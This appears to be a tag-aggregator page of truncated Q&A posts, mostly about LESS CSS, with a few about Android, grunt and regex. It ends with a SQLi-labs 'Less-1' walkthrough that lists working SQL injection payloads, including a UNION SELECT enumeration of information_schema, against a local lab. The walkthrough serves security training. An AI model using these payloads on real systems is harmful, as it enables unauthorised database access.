less

LESS: generate @variables with loops

匿名 (未验证) 提交于 2019-12-03 01:20:02
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: I know that in LESS is possible to generate many CSS classes using loops . I personally used this technique to answer another user's question . Now I'm facing the following code: @transparent-black-10: fade(@nero, 0.1); @transparent-black-20: fade(@nero, 0.2); @transparent-black-30: fade(@nero, 0.3); @transparent-black-40: fade(@nero, 0.4); @transparent-black-50: fade(@nero, 0.5); @transparent-black-60: fade(@nero, 0.6); @transparent-black-70: fade(@nero, 0.7); @transparent-black-80: fade(@nero, 0.8); @transparent-black-90: fade(@nero, 0.9);

How to exend the Less compiler with a custom function leveraging a plugin

匿名 (未验证) 提交于 2019-12-03 01:18:02
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: Since version 2 of Less you can use plugins . You can also use these plugins to add custom function to Less, examples: https://github.com/less/less-plugin-advanced-color-functions/ and https://github.com/bassjobsen/less-plugin-cubehelix Inspired on https://github.com/less/less.js/issues/2341 i want to add a custom function twotimesandten to less, so that: @start: 10; .test { result: twotimesandten(@start); } compiles into: .test { result: 30; } After reading http://lesscss.org/usage/#plugins-for-plugin-authors , i wonder how to do this? 回答1:

LESS CSS retina media queries without redundancy

匿名 (未验证) 提交于 2019-12-03 01:18:02
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: I am using a component-based CSS style, so I have been using mixins to allow me to use media queries without accidentally compiling hundreds of them. This is what I am doing for screen sizes: Main file: .mq-medium() {} @import //other files @media only screen and (min-width: 600px) { .mq-medium; } Another file: .mq-medium() { .banner { width: 50%; } } This can be used several times and results in grouped queries. The Problem I am trying to do the same thing for retina background-image queries, and am having trouble figuring out how to do so.

Dynamically define a variable in LESS CSS

匿名 (未验证) 提交于 2019-12-03 01:10:02
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 由 翻译 强力驱动 问题: I am trying to create a mixin that dynamically defines variables in LESS CSS, by actually assigning them a composite name. The simplified use-case (not the real one): . define ( @var ){ @foo { var }: 0 ; } Then one would call the mixin as such: . define ( 'Bar' ){ @fooBar : 0 ; } Since this kind of string interpolation is possible while using selectors names, I was wondering if the same would be possible for variable names; so far, I have had no luck with various syntaxes I tried (other than the above, I tried escaping, quoting,

How to set keyframes name in LESS

匿名 (未验证) 提交于 2019-12-03 01:07:01
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: I try to set up this LESS mixin for CSS animation keyframes: .keyframes(@name, @from, @to) {; @-webkit-keyframes "@name" { from { @from; } to { @to; } } } but there is some problem with name pharse, is there any option to do this corectly? 回答1: As of LESS >= 1.7 you can use variables for keyframe keywords (names). Some changes have been made in LESS 1.7 to how directives work, which allows to use variables for the name/keyword of @keyframes (so the example from the question should work now). DEMO Unfortunately keyframes names can not be

Drawing line less than one pixel thick requires anti-aliasing in Android 4.2

匿名 (未验证) 提交于 2019-12-03 01:05:01
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 由 翻译 强力驱动 问题: I'm trying to draw a very thin line (less than one pixel thick) in android. I'm using Paint blackThin = new Paint (); blackThin . setStrokeWidth ( 0.1f ); blackThin . setColor ( Color . BLACK ); to initialize the paint object. This works fine in Android 2.2, but when I try it in 4.2 (also 4.1, I think - I tested that one briefly - I haven't tested any other versions other that 2.2, 4.1.2 and 4.2) the lines won't show up when I draw them. To make them show up in 4.2, it seems like I have to set the anti-aliasing flag to be true. (I

Grunt watch Running “watch” task Waiting

匿名 (未验证) 提交于 2019-12-03 00:59:01
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: I have a problem with grunt-watch. When I use "grunt" in terminal outputs "Running "watch" task Waiting..." krp-arina@krparina-Lenovo-G555:~/server$ grunt Running "watch" task Waiting... krp-arina@krparina-Lenovo-G555:~/server$ grunt -v Initializing Command-line options: --verbose Reading "Gruntfile.js" Gruntfile...OK Registering Gruntfile tasks. Registering "grunt-contrib-less" local Npm module tasks. Reading /home/krp-arina/server/node_modules/grunt-contrib-less/package.json...OK Parsing /home/krp-arina/server/node_modules/grunt-contrib

Lesscss command line compiler Lessc

匿名 (未验证) 提交于 2019-12-03 00:48:01
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: Hi Im trying to get the LessCss command line compiler installed on a Mac. I've tried brew install less Error: No available formula for less brew install lessc Error: No available formula for lessc sudo npm install -g less ..Installs happily.. sudo npm install -g lessc npm http GET https://registry.npmjs.org/lessc npm http 404 https://registry.npmjs.org/lessc npm ERR! 404 'lessc' is not in the npm registry. npm install less --global ..Installs happily.. npm install lessc --global npm http GET https://registry.npmjs.org/lessc npm http 404

\\d is less efficient than [0-9]

匿名 (未验证) 提交于 2019-12-03 00:46:02
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: I made a comment yesterday on an answer where someone had used [0123456789] in a regular expression rather than [0-9] or \d . I said it was probably more efficient to use a range or digit specifier than a character set. I decided to test that out today and found out to my surprise that (in the C# regex engine at least) \d appears to be less efficient than either of the other two which don't seem to differ much. Here is my test output over 10000 random strings of 1000 random characters with 5077 actually containing a digit: Regular expression

Sqli-labs Less 1-3

匿名 (未验证) 提交于 2019-12-03 00:43:02
刚刚做完sqli-labs的第一节的第一题(QAQ) 我的时间呀!!!(太笨只能一步一步的往前走) 我使用了两种方法解决的这一题,希望能够帮助到你们 题目是 :GET Error based- Single quotes -String 解题链接:http://127.0.0.1/sqli-labs-master/Less-1/ 关注点:基于错误,单引号,字符型注入。 手工注入: payload1:http://127.0.0.1/sqli-labs-master/Less-1/?id=0 页面正常: payload2:http://127.0.0.1/sqli-labs-master/Less-1/?id=0‘ 页面返回错误(可以判断有字符型的注入) 使用UNION SELECT 或者 ORDER BY 语句进行查询字段数: payload3:http://127.0.0.1/sqli-labs-master/Less-1/?id=0‘ UNION SELECT 1,2,3 --+ 然后就可以查询数据库的名称 payload4:http://127.0.0.1/sqli-labs-master/Less-1/?id=0‘ union select 1,group_concat(schema_name),3 from information_schema.schemata --+